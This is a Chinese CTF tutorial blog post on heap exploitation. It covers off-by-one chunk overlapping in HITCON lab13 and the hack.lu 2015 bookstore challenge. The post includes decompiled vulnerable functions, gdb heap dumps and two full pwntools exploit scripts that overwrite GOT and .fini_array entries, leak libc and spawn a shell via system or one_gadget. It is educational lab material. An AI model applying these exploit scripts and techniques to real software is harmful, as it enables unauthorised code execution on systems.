pwn堆入门系列教程3

NoOne / 2019-09-10 09:00:16 / 浏览数 2874 安全技术 CTF 顶(0) 踩(0)

1. pwn堆入门系列教程3

序言：这次终于过了off-by-one来到了Chunk Extend / Overlapping,这部分在上一节也进行了学习，所以难度相对来说不会是那么大，刚起初我以为，因为第一题很简单，但做到第二题，我发觉我连格式化字符串的漏洞都不会

1.1. HITCON Trainging lab13

这道题还是相对简单的，对于前面几道来说，上一道已经用过这种方法了，而且比这复杂许多，所以差不多了，不过还有些小细节注意下就好

1.1.1. 功能分析

引用于ctf-wiki

1. 创建堆，根据用户输入的长度，申请对应内存空间，并利用 read 读取指定长度内容。这里长度没有进行检测，当长度为负数时，会出现任意长度堆溢出的漏洞。当然，前提是可以进行 malloc。此外，这里读取之后并没有设置 NULL。
2. 编辑堆，根据指定的索引以及之前存储的堆的大小读取指定内容，但是这里读入的长度会比之前大 1，所以会存在 off by one 的漏洞。
3. 展示堆，输出指定索引堆的大小以及内容。
4. 删除堆，删除指定堆，并且将对应指针设置为了 NULL。

1.1.2. 漏洞点分析

漏洞点存在off-by-one,通过off-by-one进行overlapping就成了

1.1.3. 漏洞利用过程

```
gdb-peda$ x/50gx 0x1775030-0x30
0x1775000:  0x0000000000000000  0x0000000000000021 #■■■1
0x1775010:  0x0000000000000018  0x0000000001775030
0x1775020:  0x0000000000000000  0x0000000000000021 #■■■1 chunk
0x1775030:  0x0000000a31313131  0x0000000000000000
0x1775040:  0x0000000000000000  0x0000000000000021 #■■■1
0x1775050:  0x0000000000000010  0x0000000001775070
0x1775060:  0x0000000000000000  0x0000000000000021 #■■■2 chunk
0x1775070:  0x0000000a32323232  0x0000000000000000
0x1775080:  0x0000000000000000  0x0000000000020f81
0x1775090:  0x0000000000000000  0x0000000000000000
0x17750a0:  0x0000000000000000  0x0000000000000000
0x17750b0:  0x0000000000000000  0x0000000000000000
0x17750c0:  0x0000000000000000  0x0000000000000000
0x17750d0:  0x0000000000000000  0x0000000000000000
0x17750e0:  0x0000000000000000  0x0000000000000000
0x17750f0:  0x0000000000000000  0x0000000000000000
0x1775100:  0x0000000000000000  0x0000000000000000
0x1775110:  0x0000000000000000  0x0000000000000000
0x1775120:  0x0000000000000000  0x0000000000000000
0x1775130:  0x0000000000000000  0x0000000000000000
0x1775140:  0x0000000000000000  0x0000000000000000
0x1775150:  0x0000000000000000  0x0000000000000000
0x1775160:  0x0000000000000000  0x0000000000000000
0x1775170:  0x0000000000000000  0x0000000000000000
0x1775180:  0x0000000000000000  0x0000000000000000
```

攻击过程：

1. 创建两个堆块初始化(实际创了4个堆块，两个结构体堆块，两个数据堆块)至于一个为什么要0x18，因为要利用他会使用下个chunk的pre_size作为数据部分，这样才能o
2. 编辑第0块堆块，利用off-by-one覆盖第二块堆块的size，修改size为0x41

   ```
   gdb-peda$ x/50gx 0x8a5030-0x30
   0x8a5000:   0x0000000000000000  0x0000000000000021
   0x8a5010:   0x0000000000000018  0x00000000008a5030
   0x8a5020:   0x0000000000000000  0x0000000000000021
   ```

```
0x8a5030:   0x0068732f6e69622f  0x6161616161616161 #/bin/sh■■■■■■
0x8a5040:   0x6161616161616161  0x0000000000000041 # off-by-one
0x8a5050:   0x0000000000000010  0x00000000008a5070
0x8a5060:   0x0000000000000000  0x0000000000000021
0x8a5070:   0x0000000a32323232  0x0000000000000000
0x8a5080:   0x0000000000000000  0x0000000000020f81
0x8a5090:   0x0000000000000000  0x0000000000000000
0x8a50a0:   0x0000000000000000  0x0000000000000000
0x8a50b0:   0x0000000000000000  0x0000000000000000
0x8a50c0:   0x0000000000000000  0x0000000000000000
0x8a50d0:   0x0000000000000000  0x0000000000000000
0x8a50e0:   0x0000000000000000  0x0000000000000000
0x8a50f0:   0x0000000000000000  0x0000000000000000
0x8a5100:   0x0000000000000000  0x0000000000000000
0x8a5110:   0x0000000000000000  0x0000000000000000
0x8a5120:   0x0000000000000000  0x0000000000000000
0x8a5130:   0x0000000000000000  0x0000000000000000
0x8a5140:   0x0000000000000000  0x0000000000000000
0x8a5150:   0x0000000000000000  0x0000000000000000
0x8a5160:   0x0000000000000000  0x0000000000000000
0x8a5170:   0x0000000000000000  0x0000000000000000
0x8a5180:   0x0000000000000000  0x0000000000000000
```

3. free掉第1块，这时候free了一个0x40大小的堆块和一个0x20大小的堆块

```
gdb-peda$ x/50gx 0xf89030-0x30
0xf89000:   0x0000000000000000  0x0000000000000021
0xf89010:   0x0000000000000018  0x0000000000f89030
0xf89020:   0x0000000000000000  0x0000000000000021
0xf89030:   0x0068732f6e69622f  0x6161616161616161
0xf89040:   0x6161616161616161  0x0000000000000041 #free 0x40■■
0xf89050:   0x0000000000000000  0x0000000000f89070
0xf89060:   0x0000000000000000  0x0000000000000021 #free 0x21■■
0xf89070:   0x0000000000000000  0x0000000000000000
0xf89080:   0x0000000000000000  0x0000000000020f81
0xf89090:   0x0000000000000000  0x0000000000000000
0xf890a0:   0x0000000000000000  0x0000000000000000
0xf890b0:   0x0000000000000000  0x0000000000000000
0xf890c0:   0x0000000000000000  0x0000000000000000
0xf890d0:   0x0000000000000000  0x0000000000000000
0xf890e0:   0x0000000000000000  0x0000000000000000
0xf890f0:   0x0000000000000000  0x0000000000000000
0xf89100:   0x0000000000000000  0x0000000000000000
0xf89110:   0x0000000000000000  0x0000000000000000
0xf89120:   0x0000000000000000  0x0000000000000000
0xf89130:   0x0000000000000000  0x0000000000000000
0xf89140:   0x0000000000000000  0x0000000000000000
0xf89150:   0x0000000000000000  0x0000000000000000
0xf89160:   0x0000000000000000  0x0000000000000000
0xf89170:   0x0000000000000000  0x0000000000000000
0xf89180:   0x0000000000000000  0x0000000000000000
```

4. 这时候create(0x30)的话，会先创建结构体的堆块，这时候fastbin链上有刚free掉的堆块，所以优先使用，创建了0x20大小堆块，然后在创建一个0x40的chunk，这时

1.1.4. exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'heapcreator'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
```

```
#ctx.binary = './' + 'heapcreator'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = ELF('libc.so.6')
if local:
   context.log_level = 'debug'
   try:
       r = ctx.start()
   except Exception as e:
       print(e.args)
       print("It can't work,may be it can't load the remote libc!")
       print("It will load the local process")
       io = process(exe)
else:
   io = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
heap = elf
libc = ELF('./libc.so.6')

def create(size, content):
   r.recvuntil(":")
   r.sendline("1")
   r.recvuntil(":")
   r.sendline(str(size))
   r.recvuntil(":")
   r.sendline(content)


def edit(idx, content):
   r.recvuntil(":")
   r.sendline("2")
   r.recvuntil(":")
   r.sendline(str(idx))
   r.recvuntil(":")
   r.sendline(content)


def show(idx):
   r.recvuntil(":")
   r.sendline("3")
   r.recvuntil(":")
   r.sendline(str(idx))


def delete(idx):
   r.recvuntil(":")
   r.sendline("4")
   r.recvuntil(":")
   r.sendline(str(idx))



def exp():
   free_got = 0x602018
   create(0x18, "1111")  # 0
   create(0x10, "2222")  # 1
   # overwrite heap 1's struct's size to 0x41
   edit(0, "/bin/sh\x00" + "a" * 0x10 + "\x41")
   # trigger heap 1's struct to fastbin 0x40
   # heap 1's content to fastbin 0x20
   delete(1)
   # new heap 1's struct will point to old heap 1's content, size 0x20
   # new heap 1's content will point to old heap 1's struct, size 0x30
   # that is to say we can overwrite new heap 1's struct
   # here we overwrite its heap content pointer to free@got
   create(0x30, p64(0) * 4 + p64(0x30) + p64(heap.got['free']))  #1
   #create(0x30, p64(0x1234567890))  #1
   gdb.attach(r)
   # leak freeaddr
   show(1)
   r.recvuntil("Content : ")
   data = r.recvuntil("Done !")

   free_addr = u64(data.split("\n")[0].ljust(8, "\x00"))
   libc_base = free_addr - libc.symbols['free']
   log.success('libc base addr: ' + hex(libc_base))
   system_addr = libc_base + libc.symbols['system']
   #gdb.attach(r)
   # overwrite free@got with system addr
   edit(1, p64(system_addr))
   # trigger system("/bin/sh")
   delete(0)
if __name__ == '__main__':
   exp()
   r.interactive()
```

1.2. 2015 hacklu bookstore

1.2.1. 功能分析

先进行功能分析

1. 有编辑功能，编辑已存在的1,2堆块，可溢出
2. 删除功能，删除已存在的1,2堆块，uaf
3. 合并功能，将1,2两个堆块合并,格式化字符串

1.2.2. 漏洞点分析

1. 漏洞点1(任意写，\n才结束)

```
unsigned __int64 __fastcall edit_order(char *a1)
{
 int idx; // eax
 int v3; // [rsp+10h] [rbp-10h]
 int cnt; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]

 v5 = __readfsqword(0x28u);
 v3 = 0;
 cnt = 0;
 while ( v3 != '\n' )//■■■
 {
   v3 = fgetc(stdin);
   idx = cnt++;
   a1[idx] = v3;
 }
 a1[cnt - 1] = 0;
 return __readfsqword(0x28u) ^ v5;
}
```

1. 漏洞点2(uaf)

free后指针设置空

```
unsigned __int64 __fastcall delete_order(void *a1)
{
 unsigned __int64 v2; // [rsp+18h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 free(a1); //■■
 return __readfsqword(0x28u) ^ v2;
}
```

1. 格式化字符串

```
signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
 int v4; // [rsp+4h] [rbp-BCh]
 char *v5; // [rsp+8h] [rbp-B8h]
 char *first_order; // [rsp+18h] [rbp-A8h]
 char *second_order; // [rsp+20h] [rbp-A0h]
 char *dest; // [rsp+28h] [rbp-98h]
 char s; // [rsp+30h] [rbp-90h]
 unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

 v10 = __readfsqword(0x28u);
 first_order = (char *)malloc(0x80uLL);
 second_order = (char *)malloc(0x80uLL);
 dest = (char *)malloc(0x80uLL);
 if ( !first_order || !second_order || !dest )
 {
   fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
   return 1LL;
 }
 v4 = 0;
 puts(
   " _____          _   _                 _            _                  _ \n"
   "/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n"
   "  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"
   " / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"
   " \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n"
   "Crappiest and most expensive books for your college education!\n"
   "\n"
   "We can order books for you in case they're not in stock.\n"
   "Max. two orders allowed!\n");
LABEL_14:
 while ( !v4 )
 {
   puts("1: Edit order 1");
   puts("2: Edit order 2");
   puts("3: Delete order 1");
   puts("4: Delete order 2");
   puts("5: Submit");
   fgets(&s, 0x80, stdin);
   switch ( s )
   {
     case '1':
       puts("Enter first order:");
       edit_order(first_order);
       strcpy(dest, "Your order is submitted!\n");
       goto LABEL_14;
     case '2':
       puts("Enter second order:");
       edit_order(second_order);
       strcpy(dest, "Your order is submitted!\n");
       goto LABEL_14;
     case '3':
       delete_order(first_order);
       goto LABEL_14;
     case '4':
       delete_order(second_order);
       goto LABEL_14;
     case '5':
       v5 = (char *)malloc(0x140uLL);
       if ( !v5 )
       {
         fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
         return 1LL;
```

```
      }
      submit(v5, first_order, second_order);
      v4 = 1;
      break;
    default:
      goto LABEL_14;
  }
}
printf("%s", v5);
printf(dest);//■■■■■■
return 0LL;
}
```

1.2.3. 漏洞利用过程

这题有三个明显的洞，比原来那些只有一个洞的看起来似乎简单些？实际相反，这道题利用起来难度比前面的还大，因为这个洞不好利用，我自己研究了好久也无果，然后找看了看雪大佬的文章才知道这题怎么利用的

开始我在想如何利用格式化字符串的洞，因为格式化字符串的洞在合并过后才会使用，而我没想到什么便捷方法能修改第三块堆块的内容，他只能被覆盖为默认的Your order is submitted!\n，后来才知道用overlaping后可以覆盖到第三块堆块的内容，不过还是得精心布置堆才可以利用到

1. 开头程序malloc(0x80)申请了三个堆块，我们将第二块free掉

```
gdb-peda$ x/100gx 0x1b8d010-0x010
0x1b8d000:  0x0000000000000000  0x0000000000000091 #■■1
0x1b8d010:  0x0000000074736574  0x0000000000000000
0x1b8d020:  0x0000000000000000  0x0000000000000000
0x1b8d030:  0x0000000000000000  0x0000000000000000
0x1b8d040:  0x0000000000000000  0x0000000000000000
0x1b8d050:  0x0000000000000000  0x0000000000000000
0x1b8d060:  0x0000000000000000  0x0000000000000000
0x1b8d070:  0x0000000000000000  0x0000000000000000
0x1b8d080:  0x0000000000000000  0x0000000000000000
0x1b8d090:  0x0000000000000000  0x0000000000000091 #■■2■■■■■■
0x1b8d0a0:  0x0000000000000000  0x0000000000000000 #■■■■
0x1b8d0b0:  0x0000000000000000  0x0000000000000000
0x1b8d0c0:  0x0000000000000000  0x0000000000000000
0x1b8d0d0:  0x0000000000000000  0x0000000000000000
0x1b8d0e0:  0x0000000000000000  0x0000000000000000
0x1b8d0f0:  0x0000000000000000  0x0000000000000000
0x1b8d100:  0x0000000000000000  0x0000000000000000
0x1b8d110:  0x0000000000000000  0x0000000000000000
0x1b8d120:  0x0000000000000000  0x0000000000000091 #■■3
0x1b8d130:  0x64726f2072756f59  0x7573207369207265
0x1b8d140:  0x2164657474696d62  0x000000000000000a
0x1b8d150:  0x0000000000000000  0x0000000000000000
0x1b8d160:  0x0000000000000000  0x0000000000000000
0x1b8d170:  0x0000000000000000  0x0000000000000000
0x1b8d180:  0x0000000000000000  0x0000000000000000
0x1b8d190:  0x0000000000000000  0x0000000000000000
0x1b8d1a0:  0x0000000000000000  0x0000000000000000
0x1b8d1b0:  0x0000000000000000  0x0000000000000411
0x1b8d1c0:  0x696d627553203a35  0x20726564726f0a74
0x1b8d1d0:  0x216465776f0a0a32  0x6163206e6920750a
0x1b8d1e0:  0x2779656874206573  0x6920746f6e206572
0x1b8d1f0:  0x2e6b636f7473206e  0x5f0a216e6f69740a
0x1b8d200:  0x0a2020202f5c5f5f  0x0000000000000000
0x1b8d210:  0x0000000000000000  0x0000000000000000
0x1b8d220:  0x0000000000000000  0x0000000000000000
0x1b8d230:  0x0000000000000000  0x0000000000000000
0x1b8d240:  0x0000000000000000  0x0000000000000000
0x1b8d250:  0x0000000000000000  0x0000000000000000
0x1b8d260:  0x0000000000000000  0x0000000000000000
0x1b8d270:  0x0000000000000000  0x0000000000000000
0x1b8d280:  0x0000000000000000  0x0000000000000000
0x1b8d290:  0x0000000000000000  0x0000000000000000
0x1b8d2a0:  0x0000000000000000  0x0000000000000000
0x1b8d2b0:  0x0000000000000000  0x0000000000000000
0x1b8d2c0:  0x0000000000000000  0x0000000000000000
0x1b8d2d0:  0x0000000000000000  0x0000000000000000
```

```
0x1b8d2e0:  0x0000000000000000  0x0000000000000000
0x1b8d2f0:  0x0000000000000000  0x0000000000000000
0x1b8d300:  0x0000000000000000  0x0000000000000000
0x1b8d310:  0x0000000000000000  0x0000000000000000
```

编辑第一块堆块内容，溢出到第二块的size，修改第二块的size为0x150，为什么是0x150?(因为你看程序在合并的时候有个malloc(0x140)，这样合并的时候申请的堆块

```
gdb-peda$ x/50gx 0x1695028-0x28
0x1695000:  0x0000000000000000  0x0000000000000091
0x1695010:  0x3125633731363225  0x313325516e682433
0x1695020:  0x7024383225507024  0x6161616161616161
0x1695030:  0x6161616161616161  0x6161616161616161
0x1695040:  0x6161616161616161  0x6161616161616161
0x1695050:  0x6161616161616161  0x6161616161616161
0x1695060:  0x6161616161616161  0x6161616161616161
0x1695070:  0x6161616161616161  0x6161616161616161
0x1695080:  0x0000000061616161  0x0000000000000000
0x1695090:  0x0000000000000000  0x0000000000000151
0x16950a0:  0x00007f0e99412b00  0x00007f0e99412b78
0x16950b0:  0x0000000000000000  0x0000000000000000
0x16950c0:  0x0000000000000000  0x0000000000000000
0x16950d0:  0x0000000000000000  0x0000000000000000
0x16950e0:  0x0000000000000000  0x0000000000000000
0x16950f0:  0x0000000000000000  0x0000000000000000
0x1695100:  0x0000000000000000  0x0000000000000000
0x1695110:  0x0000000000000000  0x0000000000000000
0x1695120:  0x0000000000000090  0x0000000000000090
0x1695130:  0x64726f2072756f59  0x7573207369207265
0x1695140:  0x2164657474696d62  0x000000000000000a
0x1695150:  0x0000000000000000  0x0000000000000000
0x1695160:  0x0000000000000000  0x0000000000000000
0x1695170:  0x0000000000000000  0x0000000000000000
0x1695180:  0x0000000000000000  0x0000000000000000
```

然后submit的时候具体会变成什么样呢?，会先复制Order 1:
，然后在复制chunk1里的内容，在复制chunk2里的内容，注意注意chunk2的内容现在是什么，是前面的Order 1:
在加上chunk1的内容，因为堆块2的指针还指向chunk2的数据部分，所以会复制两次

3. 就是Order 1: +chunk1+'\n'+Order 2: +Order 1: +chun1+'\n'
4. 如果我们要利用格式化字符串的洞的话，要精确复制到堆块3的size部分后就停止，到这部分大小是0x90
5. 也就是说我们Order 1: +chunk1+'\n'+Order 2: +Order 1: 这个的大小要为0x90，求出chunk大小，0x90-9*3-1=0x88-0x1c=0x74
6. 所以我们可以在前面0x74里写格式化字符串的利用，后面就利用得上了

这是合并后的结果

```
gdb-peda$ x/56gx 0x6e6028-0x28
0x6e6000:   0x0000000000000000  0x0000000000000091
0x6e6010:   0x3125633731363225  0x313325516e682433
0x6e6020:   0x7024383225507024  0x6161616161616161
0x6e6030:   0x6161616161616161  0x6161616161616161
0x6e6040:   0x6161616161616161  0x6161616161616161
0x6e6050:   0x6161616161616161  0x6161616161616161
0x6e6060:   0x6161616161616161  0x6161616161616161
0x6e6070:   0x6161616161616161  0x6161616161616161
0x6e6080:   0x0000000061616161  0x0000000000000000
0x6e6090:   0x0000000000000000  0x0000000000000151
0x6e60a0:   0x3a3120726564724f  0x2563373136322520
0x6e60b0:   0x3325516e68243331  0x2438322550702431
0x6e60c0:   0x6161616161616170  0x6161616161616161
0x6e60d0:   0x6161616161616161  0x6161616161616161
0x6e60e0:   0x6161616161616161  0x6161616161616161
0x6e60f0:   0x6161616161616161  0x6161616161616161
0x6e6100:   0x6161616161616161  0x6161616161616161
0x6e6110:   0x6161616161616161  0x724f0a6161616161
0x6e6120:   0x4f203a3220726564  0x203a312072656472
0x6e6130:   0x3125633731363225  0x313325516e682433
0x6e6140:   0x7024383225507024  0x6161616161616161
0x6e6150:   0x6161616161616161  0x6161616161616161
0x6e6160:   0x6161616161616161  0x6161616161616161
0x6e6170:   0x6161616161616161  0x6161616161616161
```

```
0x6e6180:   0x6161616161616161  0x6161616161616161
0x6e6190:   0x6161616161616161  0x6161616161616161
0x6e61a0:   0x64724f0a61616161  0x000a203a32207265
0x6e61b0:   0x0000000000000000  0x0000000000000411
```

1. 既然是堆题我就不再讲格式化字符串利用了，后面先利用格式化字符串修改.fini的地址，这样能多返回一次到main函数，同时泄露libc函数地址，为什么修改.fini里的地址

[linux_x86程序启动中文版]()
[linux_x86程序启动英文版]()
这两篇文章一样的，不过一个中文版，一个英文版，建议英文好的同学读原版，因为.fini在exit前会进行调用，所以修改后能执行多一次main函数

1. 这时候发觉泄露出libc后不知道修改哪个函数了，因为调用printf后再也没函数用了，这时候思路又断了
2. 所以这时候想想别的办法，发觉栈上存了一个与存main函数返回地址的指针存在一定偏移的地址，所以泄露出来后，在减掉那个固定偏移就可以修改main函数返回地址

注意：这里格式化字符串内容存在堆里，指针存在栈上，所以我们fgets输入的才是对应上的偏移

1.2.4. exp

```
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from PwnContext.core import *
local = True

# Set up pwntools for the correct architecture
exe = './' + 'books'
elf = context.binary = ELF(exe)

#don't forget to change it
host = '127.0.0.1'
port = 10000

#don't forget to change it
#ctx.binary = './' + 'books'
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
   context.log_level = 'debug'
   p = ctx.start()
   libc = ELF(libc)
else:
   p = remote(host,port)
#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

def edit(idx, content) :
   p.sendline(str(idx))
   p.recvregex(r'''Enter (.*?) order:\n''')
   p.sendline(content)


def delete(idx) :
   p.sendline(str(idx+2))

def submit(content) :
   p.sendline('5'+ '\x00'*7 + content)

def exp():
   fini_array = 0x6011B8
   main_addr = 0x400A39
   delete(2)
```

```
    #first step
    #leak
    fmstr = "%{}c%{}$hnQ%{}$pP%{}$p".format(0xA39, 13, 31, 28)
    payload = fmstr.ljust(0x74, 'a')
    payload = payload.ljust(0x88, '\x00')
    payload += p64(0x151)
    edit(1, payload)
    #offset=13
    gdb.attach(p)
    submit(p64(fini_array))
    for _ in range(3):
        p.recvuntil('Q')
    __libc_start_main_addr = int(p.recv(14), 16)
    libc_base = __libc_start_main_addr - libc.symbols['__libc_start_main']-240
    ret_addr = int(p.recv(15)[1:], 16)-0x1e8
    one_gadget_offset = 0x45216
    #one_gadget_offset = 0x4526a
    #one_gadget_offset = 0xf02a4
    #one_gadget_offset = 0xf1147
    one_gadget = libc_base + one_gadget_offset
    p.success("libc_base-> 0x%x" % libc_base)
    p.success("ret_addr-> 0x%x" % ret_addr)
    p.success("one_gadget-> 0x%x" % one_gadget)

    #second step
    delete(2)
    part1 = ((one_gadget>>16)& 0xffff)
    part2 = (one_gadget & 0xffff)

    part =[
        (part1, p64(ret_addr+2)),
        (part2, p64(ret_addr))
    ]
    part.sort(key=lambda tup: tup[0])
    size = [i[0] for i in part]
    addr =''.join(x[1] for x in part)
    print(size)
    print(addr)
    fmstr = "%{}c%{}$hn".format(size[0], 13)
    fmstr += "%{}c%{}$hn".format(size[1]-size[0], 14)
    payload = fmstr.ljust(0x74, 'a')
    payload = payload.ljust(0x88, '\x00')
    payload += p64(0x151)
    edit(1, payload)
    #offset=13
    submit(addr)
    #gdb.attach(p)
if __name__ == '__main__':
    exp()
    p.interactive()
```

1.3. 总结

1. 这道题堆部分难点部分想到了就不难，没想到就难，就是要利用那个部分溢出到第三个堆块
2. 其余部分就全是格式化字符串的利用了，没什么好讲的
3. 这道题拿到shell也偏废时间，最主要直接看exp我看不懂，后面去看文章才看懂的

1.4. 参考链接

看雪大佬的文章

点击收藏 | 0 关注 | 1

上一篇：[红日安全]Web安全Day4 -... 下一篇：从TokyoWesterns 20...

1. 0 条回复
    - 动动手指，沙发就是你的了！